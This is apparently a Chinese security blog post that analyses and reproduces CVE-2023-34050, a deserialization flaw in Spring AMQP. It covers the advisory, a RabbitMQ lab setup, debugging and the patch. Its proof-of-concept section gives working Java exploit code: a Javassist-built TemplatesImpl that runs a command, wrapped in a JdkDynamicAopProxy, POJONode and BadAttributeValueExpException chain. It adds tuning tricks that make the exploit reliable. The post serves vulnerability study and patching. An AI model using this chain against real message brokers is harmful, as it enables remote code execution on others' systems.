1. 前言
官方公告:
https://spring.io/security/cve-2023-34050
漏洞描述**:**
2016 年,Spring AMQP 中添加了可反序列化类名的允许列表模式,允许用户锁定来自不受信任来源的消息中数据的反序列化;但是默认情况下,当未提供允许的列表时,所有类都可以反序列化。
利用条件:
使用 SimpleMessageConverter 或 SerializerMessageConverter
用户未配置允许列表模式
不受信任的消息发起者获得将消息写入 RabbitMQ 代理以发送恶意内容的权限
影响版本:
Spring AMQP:
· 1.0.0 到 2.4.16
· 3.0.0 到 3.0.9
Spring Boot 2.7.17、3.0.12、3.1.5、3.2.0版本之前。
修复建议:
不允许不受信任的来源访问 RabbitMQ 服务器
版本低于 2.4.17 的用户应升级到 2.4.17
使用版本 3.0.0 至 3.0.9 的用户应升级到 3.0.10
简介**:**
AMQP(Advanced Message Queuing ,高级消息队列协议)是一种使用广泛的独立于语言的消息协议,它定义了一种二进制格式的消息流,任何编程语言都可以实现该协议。实际应用最广泛的 AMQP 服务器是 RabbitMQ 。
2. 环境搭建
创建一个 Spring Boot 项目,引入图中几个模块。
也可以手动添加 spring-rabbit 依赖:
`<dependency> `` <groupId>org.springframework.amqp</groupId> `` <artifactId>spring-rabbit</artifactId> ``<version>2.4.16</version>` `</dependency>`
这里使用的 Spring Boot 版本是 2.7.16,对应的 Spring AMQP 版本是 2.4.16;
导入 commons-beanutils 依赖,作为可利用的反序列化链。
`<dependency> `` <groupId>commons-beanutils</groupId> `` <artifactId>commons-beanutils</artifactId> ``<version>1.9.1</version>` `</dependency> ``<dependency> `` <groupId>org.javassist</groupId> `` <artifactId>javassist</artifactId> ``<version>3.28.0-GA</version>` `</dependency>`
需要起一个 RabbitMQ 服务,使用 docker 搭建,执行如下命令:
docker run -d --name my-rabbit -p 5672:5672 -p 15672:15672 rabbitmq:3-management
docker ps看到启动后的信息;
访问对应端口,默认用户名/密码是guest/guest,登录则可以看到 RabbitMQ 管理页面。
然后在 Spring Boot 中配置 RabbitMQ 服务的IP、端口、用户名、密码;
`spring.rabbitmq.host=192.168.xxx.xxx` `spring.rabbitmq.port=5672` `spring.rabbitmq.username=guest` `spring.rabbitmq.password=guest` `server.port = 8081`
写一个配置类,自定义一个myQueue队列和myExchange交换机,并且绑定myExchange和myQueue,使myExchange交换机接收到的消息发送到myQueue队列;
`import org.springframework.amqp.core.*;` `import org.springframework.context.annotation.Bean;` `import org.springframework.context.annotation.Configuration;` ` ``@Configuration` `public class RabbitConfig { `` //自定义队列 `` @Bean `` public Queue MyQueue() { `` return new Queue("myQueue", true); `` } `` //自定义交换机 `` @Bean `` public DirectExchange MyExchange() { ``return new DirectExchange("myExchange");` `}` `//绑定交换机和队列`` @Bean `` public Binding binding() { `` return BindingBuilder.bind(MyQueue()).to(MyExchange()).with("blckder02"); ``}` `}`
在管理页面可以看到创建的交换机和队列,以及绑定信息;如果代码绑定不成功,就手动在管理页面绑定。
写一个发送消息的方法,其中routingKey字段要和上面绑定交换机和队列处with("blckder02")一致,这里都设为blckder02;
`import org.springframework.amqp.rabbit.core.RabbitTemplate;` `import org.springframework.beans.factory.annotation.Autowired;` `import org.springframework.stereotype.Service;` ` ``@Service` `public class MessageSenderService { `` private final RabbitTemplate rabbitTemplate; `` @Autowired `` public MessageSenderService(RabbitTemplate rabbitTemplate) { `` this.rabbitTemplate = rabbitTemplate; ``}` `public void sendMessage (Object message) {`` rabbitTemplate.convertAndSend("myExchange", "blckder02", message); `` System.out.println("Message Sent Success"); ``}` `}`
再写一个监听myQueue队列的方法,使用@RabbitListener指定要监听的队列名称;
`import org.springframework.amqp.rabbit.annotation.RabbitListener;` `import org.springframework.stereotype.Service;` `@Service` `public class MyService {` ` @RabbitListener(queues = "myQueue") `` public void recevie(Object result) { `` System.out.println("监听到消息了"); `` System.out.println(result); ``}` `}`
简单写一个 Controller 测试一下服务搭建是否成功;
`@RestController``public class MessageController {`` ` `private final MessageSenderService messageSenderService;` `@Autowired` `public MessageController(MessageSenderService messageSenderService) {`` this.messageSenderService = messageSenderService; `` } `` @GetMapping("/testsend")` `public void testsendMessage (Object message) {` `messageSenderService.sendMessage("Hello RabbitMQ!");` `}` `}`
下断点慢慢执行,就可以看见队列中的消息数量,执行太快的话消息很快就处理完了,就不会显示;
能显示则说明服务搭建成功。
3. poc构造
先准备一个 CommonBeanutils 的反序列化链的 templatesImpl 对象,抛出AmqpRejectAndDontRequeueException异常,避免陷入死循环;
`public class CommonBeanutils1 { `` public static TemplatesImpl createTemplatesImpl(String cmd) { ``try {` `TemplatesImpl templates = TemplatesImpl.class.newInstance();` `ClassPool pool = ClassPool.getDefault();`` pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); `` CtClass cc = pool.makeClass("Cat"); `` String cmdSrc = String.format("try { java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException("err"); } "); `` cc.makeClassInitializer().insertBefore(cmdSrc); `` String randomClassName = "Calc" + System.nanoTime(); ``cc.setName(randomClassName);` `cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));`` ` `setField(templates, "_name", "name");`` setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()}); `` setField(templates, "_tfactory", new TransformerFactoryImpl()); `` setField(templates, "_class", null); `` return templates; `` } catch (Exception e) {` `e.printStackTrace();`` return null; `` } `` } `` public static void setField(Object object,String field,Object args) throws Exception{ `` Field f0 = object.getClass().getDeclaredField(field); `` f0.setAccessible(true);` `f0.set(object,args);``}` `}`
在 Controller 中定义发送消息的方法,templates 需要用一个可被序列化的类包裹,POJONode依次继承于ValueNode -> BaseJsonNode并实现Serializable接口;
但是 POJONode 是 Jackson 包中的类,由于 Jackson 反序列化链不稳定,所以需要构造一个 JdkDynamicAopProxy 类的代理类,以保证稳定调用TemplatesImpl#getOutputProperties();
而将 POJONode 对象赋给 BadAttributeValueExpException 对象的val值,则是为了通过BadAttributeValueExpException.readObject()调用POJONode.toString(),从而调用到TemplatesImpl#getOutputProperties()。
`@GetMapping("/send")` `public void sendMessage (Object message) throws Exception { `` TemplatesImpl templates = CommonBeanutils1.createTemplatesImpl("calc.exe"); `` AdvisedSupport as = new AdvisedSupport();` `as.setTarget(templates);`` Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class); ``constructor.setAccessible(true);` `InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);`` ` `Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);` ` POJONode pojoNode = new POJONode(templatesProxy); `` BadAttributeValueExpException poc = new BadAttributeValueExpException(null);` `CommonBeanutils1.setField(poc, "val", pojoNode);`` ` `messageSenderService.sendMessage(poc);``}`
还有一个重要的点,就是重新定义com.fasterxml.jackson.databind.node .BaseJsonNode,并且删除writeReplace()方法,这样就不会出现java.lang.NullPointerException。具体原因文末细说。
运行看看,成功执行命令,并且消息中能看到传递的 poc 。
4. 调试分析
直接跟进RabbitTemplate.conveAndSend(),先将消息转换为Message类型,调用的消息转换器是默认的SimpleMessageConverter;
在进行toMessage()时会调用createMessage(),这里面会判断传入消息对象的类型,这里 BadAttributeValueExpException 对象是实现了 Serializable 接口的,所以将对象进行序列化,并且把 content-type 类型设为application/x-java-serialized-object,然后返回 Message 对象;
然后将 Message 发送到 Rabbit 服务;
在监听接收消息时,会调用SimpleMessageConverter.fromMessage(),判断了 content-type 类型符合application/x-java-serialized-object,于是调用SerializationUtils.deserialize()对 message 进行反序列化;
在 SimpleMessageConverter 中重写了CodebaseAwareObjectInputStream#resolveClass()方法,调用了checkAllowedList()对反序列化的类进行校验;
然而allowedListPatterns默认为空,并没有起到白名单校验的作用,就导致任意类都允许被反序列化;
最后看到熟悉的触发点。
5. 补丁分析
补丁地址:https://github.com/spring-projects/spring-amqp/compare/v2.4.16...v2.4.17?diff=split
Spring AMQP 2.4.17 相较于 2.4.16 版本新增了环境变量SPRING_AMQP_DESERIALIZATION_TRUST_ALL和 JVM 属性spring.amqp.deserialization.trust.all,只有两个值都为 true时, TRUST_ALL变量才为 true;
在checkAllowedList()方法中也是增加了对TRUST_ALL的判断。
6. 踩的坑
因为对 AMQP 不是很熟悉,试错了好多次才勉强复现出来。
1.删除 BaseJsonNode.writeReplace
使用原本的 BaseJsonNode 的话,在发送消息序列化的时候会调用BaseJsonNode.writeReplace(),最后也会调用TemplatesImpl.getOutputProperties()触发命令执行;
但是这里触发后会报错NullPointerException,导致消息传递中断。
删除掉BaseJsonNode.writeReplace()就调用的是UnmodifiableRandomAccessList.writeReplace(),消息能继续传递。
2.Jackson 反序列化链不稳定
可以学习这篇文章:https://xz.aliyun.com/t/12846
3. 抛出 org.springframework.amqp.AmqpRejectAndDontRequeueException异常
因为在执行 CommonBeanutils 链时必然会出现报错,导致消息处理不成功,就会让消息重新排队处理,然后又报错,陷入死循环。
抛出这个异常可以避免无限次地重试失败的消息,节约系统资源。
4. 消息未处理,删除队列
由于消息处理失败,还是会留存在队中,处于unacked状态,当测试程序再次启动时,就会优先处理队列中留存消息。
所以在复现过程中如果队列中还留存有上一次测试的消息,可以把队列删除重新创建。
参考链接:
https://exp10it.cn/2023/10/spring-amqp-反序列化漏洞-cve-2023-34050-分析/
https://boogipop.com/2023/04/24/AliyunCTF 2023 WriteUP/
https://blog.csdn.net/qq\_43655835/article/details/106827158